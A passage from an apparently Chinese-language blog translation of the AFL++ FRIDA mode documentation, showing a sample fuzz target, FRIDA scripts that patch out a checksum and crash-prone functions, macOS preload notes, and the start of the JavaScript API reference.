out and always return success. Otherwise, we</span></span><br><span class="line"><span class="comment"> * could change it to actually correct the checksum.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">int</span> <span class="title function_">crc32_check</span> <span class="params">(<span class="type">char</span> * buf, <span class="type">int</span> len)</span> &#123;</span><br><span class="line">  <span class="keyword">if</span> (len &lt; <span class="keyword">sizeof</span>(<span class="type">uint32_t</span>)) &#123; <span class="keyword">return</span> <span class="number">0</span>; &#125;</span><br><span class="line">  <span class="type">uint32_t</span> expected = *(<span class="type">uint32_t</span> *)&amp;buf[len - <span class="keyword">sizeof</span>(<span class="type">uint32_t</span>)];</span><br><span class="line">  <span class="type">uint32_t</span> calculated = crc32(buf, len - <span class="keyword">sizeof</span>(<span class="type">uint32_t</span>));</span><br><span class="line">  <span class="keyword">return</span> expected == calculated;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * So you&#x27;ve found a really boring bug in an earlier campaign which results in</span></span><br><span class="line"><span class="comment"> * a NULL dereference or something like that. That bug can get in the way,</span></span><br><span class="line"><span class="comment"> * causing the persistent loop to exit whenever it is triggered, and can also</span></span><br><span class="line"><span class="comment"> * cloud your output unnecessarily. Again, we can use FRIDA to patch it out.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">some_boring_bug</span><span class="params">(<span class="type">char</span> c)</span> &#123;</span><br><span class="line">  <span class="keyword">switch</span> (c) &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;A&#x27;</span>..<span class="number">.&#x27;</span>Z<span class="number">&#x27;</span>:</span><br><span class="line">    <span class="keyword">case</span> <span class="string">&#x27;a&#x27;</span>..<span class="number">.&#x27;</span>z<span class="number">&#x27;</span>:</span><br><span class="line">      __builtin_trap();</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LLVMFuzzerTestOneInput</span><span class="params">(<span class="type">char</span> *buf, <span class="type">int</span> len)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (!crc32_check(buf, len)) <span class="keyword">return</span>;</span><br><span class="line"></span><br><span class="line">  some_boring_bug(buf[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (buf[<span class="number">0</span>] == <span class="string">&#x27;0&#x27;</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Looks like a zero to me!\n&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> (buf[<span class="number">0</span>] == <span class="string">&#x27;1&#x27;</span>) &#123;</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Pretty sure that is a one!\n&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> (buf[<span class="number">0</span>] == <span class="string">&#x27;2&#x27;</span>) &#123;</span><br><span class="line">    <span class="keyword">if</span> (buf[<span class="number">1</span>] == <span class="string">&#x27;3&#x27;</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (buf[<span class="number">2</span>] == <span class="string">&#x27;4&#x27;</span>) &#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Oh we, weren&#x27;t expecting that!&quot;</span>);</span><br><span class="line">        __builtin_trap();</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;Neither one or zero? How quaint!\n&quot;</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> **argv)</span> &#123;</span><br><span class="line"></span><br><span class="line">  <span class="type">int</span>    fd = <span class="number">-1</span>;</span><br><span class="line">  <span class="type">off_t</span>  len;</span><br><span class="line">  <span class="type">char</span> * buf = <span class="literal">NULL</span>;</span><br><span class="line">  <span class="type">size_t</span> n_read;</span><br><span class="line">  <span class="type">int</span>    result = <span class="number">-1</span>;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (argc != <span class="number">2</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Running: %s\n&quot;</span>, argv[<span class="number">1</span>]);</span><br><span class="line"></span><br><span class="line">  fd = open(argv[<span class="number">1</span>], O_RDONLY);</span><br><span class="line">  <span class="keyword">if</span> (fd &lt; <span class="number">0</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  len = lseek(fd, <span class="number">0</span>, SEEK_END);</span><br><span class="line">  <span class="keyword">if</span> (len &lt; <span class="number">0</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (lseek(fd, <span class="number">0</span>, SEEK_SET) != <span class="number">0</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  buf = <span class="built_in">malloc</span>(len);</span><br><span class="line">  <span class="keyword">if</span> (buf == <span class="literal">NULL</span>) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  n_read = read(fd, buf, len);</span><br><span class="line">  <span class="keyword">if</span> (n_read != len) &#123; <span class="keyword">return</span> <span class="number">1</span>; &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Running:    %s: (%zd bytes)\n&quot;</span>, argv[<span class="number">1</span>], n_read);</span><br><span class="line"></span><br><span class="line">  LLVMFuzzerTestOneInput(buf, len);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Done:    %s: (%zd bytes)\n&quot;</span>, argv[<span class="number">1</span>], n_read);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在以上的测试代码中，有多个函数会成为Fuzz的障碍，在如下的例子中，我们示范如何使用FRIDA的功能修改掉这些障碍。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;******************&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;* AFL FRIDA MODE *&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;******************&#x27;</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&#x27;&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> main = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;main&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`main: <span class="subst">$&#123;main&#125;</span>`</span>);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setEntryPoint</span>(main);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentAddress</span>(main);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setPersistentCount</span>(<span class="number">10000000</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> crc32_check = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;crc32_check&#x27;</span>).<span class="property">address</span>;</span><br><span class="line"><span class="keyword">const</span> crc32_replacement = <span class="keyword">new</span> <span class="title class_">NativeCallback</span>(</span><br><span class="line">    <span class="function">(<span class="params">buf, len</span>) =&gt;</span> &#123;</span><br><span class="line">        <span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">`len: <span class="subst">$&#123;len&#125;</span>`</span>);</span><br><span class="line">        <span class="keyword">if</span> (len &lt; <span class="number">4</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;,</span><br><span class="line">    <span class="string">&#x27;int&#x27;</span>,</span><br><span class="line">    [<span class="string">&#x27;pointer&#x27;</span>, <span class="string">&#x27;int&#x27;</span>]);</span><br><span class="line"><span class="title class_">Interceptor</span>.<span class="title function_">replace</span>(crc32_check, crc32_replacement);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> some_boring_bug = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;some_boring_bug&#x27;</span>).<span class="property">address</span></span><br><span class="line"><span class="keyword">const</span> boring_replacement = <span class="keyword">new</span> <span class="title class_">NativeCallback</span>(</span><br><span class="line">    <span class="function">(<span class="params">c</span>) =&gt;</span> &#123; &#125;,</span><br><span class="line">    <span class="string">&#x27;void&#x27;</span>,</span><br><span class="line">    [<span class="string">&#x27;char&#x27;</span>]);</span><br><span class="line"><span class="title class_">Interceptor</span>.<span class="title function_">replace</span>(some_boring_bug, boring_replacement);</span><br><span class="line"></span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">done</span>();</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">print</span>(<span class="string">&quot;done&quot;</span>);</span><br></pre></td></tr></table></figure><h2 id="advanced-patching"><a class="markdownIt-Anchor" href="#advanced-patching"></a> Advanced patching</h2><p>Consider the following code fragment…</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">extern</span> <span class="type">void</span> <span class="title function_">some_boring_bug2</span><span class="params">(<span class="type">char</span> c)</span>;</span><br><span class="line"></span><br><span class="line">__asm__ (</span><br><span class="line">      <span class="string">&quot;.text                                 \n&quot;</span></span><br><span class="line">      <span class="string">&quot;some_boring_bug2:                     \n&quot;</span></span><br><span class="line">      <span class="string">&quot;.global some_boring_bug2              \n&quot;</span></span><br><span class="line">      <span class="string">&quot;.type some_boring_bug2, @function     \n&quot;</span></span><br><span class="line">      <span class="string">&quot;mov %edi, %eax                        \n&quot;</span></span><br><span class="line">      <span class="string">&quot;cmp $0xb4, %al                        \n&quot;</span></span><br><span class="line">      <span class="string">&quot;jne ok                                \n&quot;</span></span><br><span class="line">      <span class="string">&quot;ud2                                   \n&quot;</span></span><br><span class="line">      <span class="string">&quot;ok:                                   \n&quot;</span></span><br><span class="line">      <span class="string">&quot;ret                                   \n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">LLVMFuzzerTestOneInput</span><span class="params">(<span class="type">char</span> *buf, <span class="type">int</span> len)</span> &#123;</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">  some_boring_bug2(buf[<span class="number">0</span>]);</span><br><span class="line"></span><br><span class="line">  ...</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>FRIDA除<code>Interceptor.replace</code>和<code>Interceptor.attach</code>API之外，还允许使用<code>Stalker</code>API对目标程序进行更细粒度的更改。</p><p>如下的例子将目标函数中的<code>UD2</code>指令修改为<code>nop</code>指令，从而避免崩溃（<code>UD2</code>指令为崩溃指令）。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Modify the instructions */</span></span><br><span class="line"><span class="keyword">const</span> some_boring_bug2 = <span class="title class_">DebugSymbol</span>.<span class="title function_">fromName</span>(<span class="string">&#x27;some_boring_bug2&#x27;</span>).<span class="property">address</span></span><br><span class="line"><span class="keyword">const</span> pid = <span class="title class_">Memory</span>.<span class="title function_">alloc</span>(<span class="number">4</span>);</span><br><span class="line">pid.<span class="title function_">writeInt</span>(<span class="title class_">Process</span>.<span class="property">id</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> cm = <span class="keyword">new</span> <span class="title class_">CModule</span>(<span class="string">`</span></span><br><span class="line"><span class="string">    #include &lt;stdio.h&gt;</span></span><br><span class="line"><span class="string">    #include &lt;gum/gumstalker.h&gt;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    typedef int pid_t;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    #define STDERR_FILENO 2</span></span><br><span class="line"><span class="string">    #define BORING2_LEN 10</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    extern int dprintf(int fd, const char *format, ...);</span></span><br><span class="line"><span class="string">    extern void some_boring_bug2(char c);</span></span><br><span class="line"><span class="string">    extern pid_t getpid(void);</span></span><br><span class="line"><span class="string">    extern pid_t pid;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">    gboolean js_stalker_callback(const cs_insn *insn, gboolean begin,</span></span><br><span class="line"><span class="string">        gboolean excluded, GumStalkerOutput *output)</span></span><br><span class="line"><span class="string">    &#123;</span></span><br><span class="line"><span class="string">        pid_t my_pid = getpid();</span></span><br><span class="line"><span class="string">        GumX86Writer *cw = output-&gt;writer.x86;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if (GUM_ADDRESS(insn-&gt;address) &lt; GUM_ADDRESS(some_boring_bug2)) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return TRUE;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if (GUM_ADDRESS(insn-&gt;address) &gt;=</span></span><br><span class="line"><span class="string">            GUM_ADDRESS(some_boring_bug2) + BORING2_LEN) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return TRUE;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if (my_pid == pid) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            if (begin) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                dprintf(STDERR_FILENO, &quot;\n&gt; 0x%016lX: %s %s\n&quot;, insn-&gt;address,</span></span><br><span class="line"><span class="string">                        insn-&gt;mnemonic, insn-&gt;op_str);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            &#125; else &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">                dprintf(STDERR_FILENO, &quot;  0x%016lX: %s %s\n&quot;, insn-&gt;address,</span></span><br><span class="line"><span class="string">                        insn-&gt;mnemonic, insn-&gt;op_str);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            &#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        if (insn-&gt;id == X86_INS_UD2) &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            gum_x86_writer_put_nop(cw);</span></span><br><span class="line"><span class="string">            return FALSE;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        &#125; else &#123;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">            return TRUE;</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span class="line"><span class="string">    &#125;</span></span><br><span class="line"><span class="string">    `</span>,</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="attr">dprintf</span>: <span class="title class_">Module</span>.<span class="title function_">getExportByName</span>(<span class="literal">null</span>, <span class="string">&#x27;dprintf&#x27;</span>),</span><br><span class="line">        <span class="attr">getpid</span>: <span class="title class_">Module</span>.<span class="title function_">getExportByName</span>(<span class="literal">null</span>, <span class="string">&#x27;getpid&#x27;</span>),</span><br><span class="line">        <span class="attr">some_boring_bug2</span>: some_boring_bug2,</span><br><span class="line">        <span class="attr">pid</span>: pid</span><br><span class="line">    &#125;);</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStalkerCallback</span>(cm.<span class="property">js_stalker_callback</span>)</span><br><span class="line"><span class="title class_">Afl</span>.<span class="title function_">setStdErr</span>(<span class="string">&quot;/tmp/stderr.txt&quot;</span>);</span><br></pre></td></tr></table></figure><p>注意你可能更喜欢用如下的代码找到patch地址。</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="variable language_">module</span> = <span class="title class_">Process</span>.<span class="title function_">getModuleByName</span>(<span class="string">&#x27;target.exe&#x27;</span>);</span><br><span class="line"><span class="comment">/* Hardcoded offset within the target image */</span></span><br><span class="line"><span class="keyword">const</span> address = <span class="variable language_">module</span>.<span class="property">base</span>.<span class="title function_">add</span>(<span class="number">0xdeadface</span>);</span><br></pre></td></tr></table></figure><p>OR</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const address = DebugSymbol.fromName(&quot;my_function&quot;).address.add(0xdeadface);</span><br></pre></td></tr></table></figure><p>OR</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">const address = Module.getExportByName(null, &quot;my_function&quot;).add(0xdeadface);</span><br></pre></td></tr></table></figure><p>若原函数的原始指令没有更更改，则函数<code>js_stalker_callback</code>应该返回<code>TRUE</code>,否则返回<code>FALSE</code>。在上述的例子中，我们可以看到原始指令被替换成<code>NOP</code>指令。</p><p>最后注意：应保持forkserver父子进程的代码相同或forkserver每次产生的子进程代码相同，否则会产生难以调试的bug【原文：<br />note that the same callback will be called when compiling instrumented<br />code both in the child of the forkserver (as it is executed) and also in the<br />parent of the forkserver (when prefetching is enabled) so that it can be<br />inherited by the next forked child. It is <strong>VERY</strong> important that the same<br />instructions be generated in both the parent and the child or if prefetching is<br />disabled that the same instructions are generated every time the block is<br />compiled. Failure to do so will likely lead to bugs which are incredibly<br />difficult to diagnose. The code above only prints the instructions when running<br />in the parent process (the one provided by <code>Process.id</code> when the JS script is<br />executed).】</p><h2 id="osx"><a class="markdownIt-Anchor" href="#osx"></a> OSX</h2><p>注意OSX上JavaScript的调试符号api使用<code>CoreSymbolication</code>API，因此目标进程需要加载和使用<code>CoreFoundation</code>模块，如下设定：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AFL_PRELOAD=/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation</span><br></pre></td></tr></table></figure><p>应该被注意的是<code>CoreSymbolication</code>API在初始化和创建cache的时候较慢，因此，需要增加<code>afl-fuzz</code>的<code>-t</code>参数的值，避免超时。</p><h2 id="api"><a class="markdownIt-Anchor" href="#api"></a> API</h2><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Afl</span> &#123;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This is equivalent to setting a value in `AFL_FRIDA_EXCLUDE_RANGES`,</span></span><br><span class="line"><span class="comment">   * it takes as arguments a `NativePointer` and a `number`. It can be</span></span><br><span class="line"><span class="comment">   * called multiple times to exclude several ranges.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">addExcludedRange</span>(<span class="params">addressess, size</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiAddExcludeRange</span>(addressess, size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This is equivalent to setting a value in `AFL_FRIDA_INST_RANGES`,</span></span><br><span class="line"><span class="comment">   * it takes as arguments a `NativePointer` and a `number`. It can be</span></span><br><span class="line"><span class="comment">   * called multiple times to include several ranges.</span></span><br><span class="line"><span class="comment">   */</span></span><br><span class="line">  <span class="keyword">static</span> <span class="title function_">addIncludedRange</span>(<span class="params">addressess, size</span>) &#123;</span><br><span class="line">      <span class="title class_">Afl</span>.<span class="title function_">jsApiAddIncludeRange</span>(addressess, size);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="comment">/**</span></span><br><span class="line"><span class="comment">   * This must always be called at the end of your script. This lets</span></span><br><span class="line"><span class="comment">   * FRIDA mode know that your configuration is finished and that</span></span><br><span class="line"><span class="comment">   * execution has reached the end of your script. Failure to call</span></span><br><span class="line"><span class="comment">   * this will result in a fatal 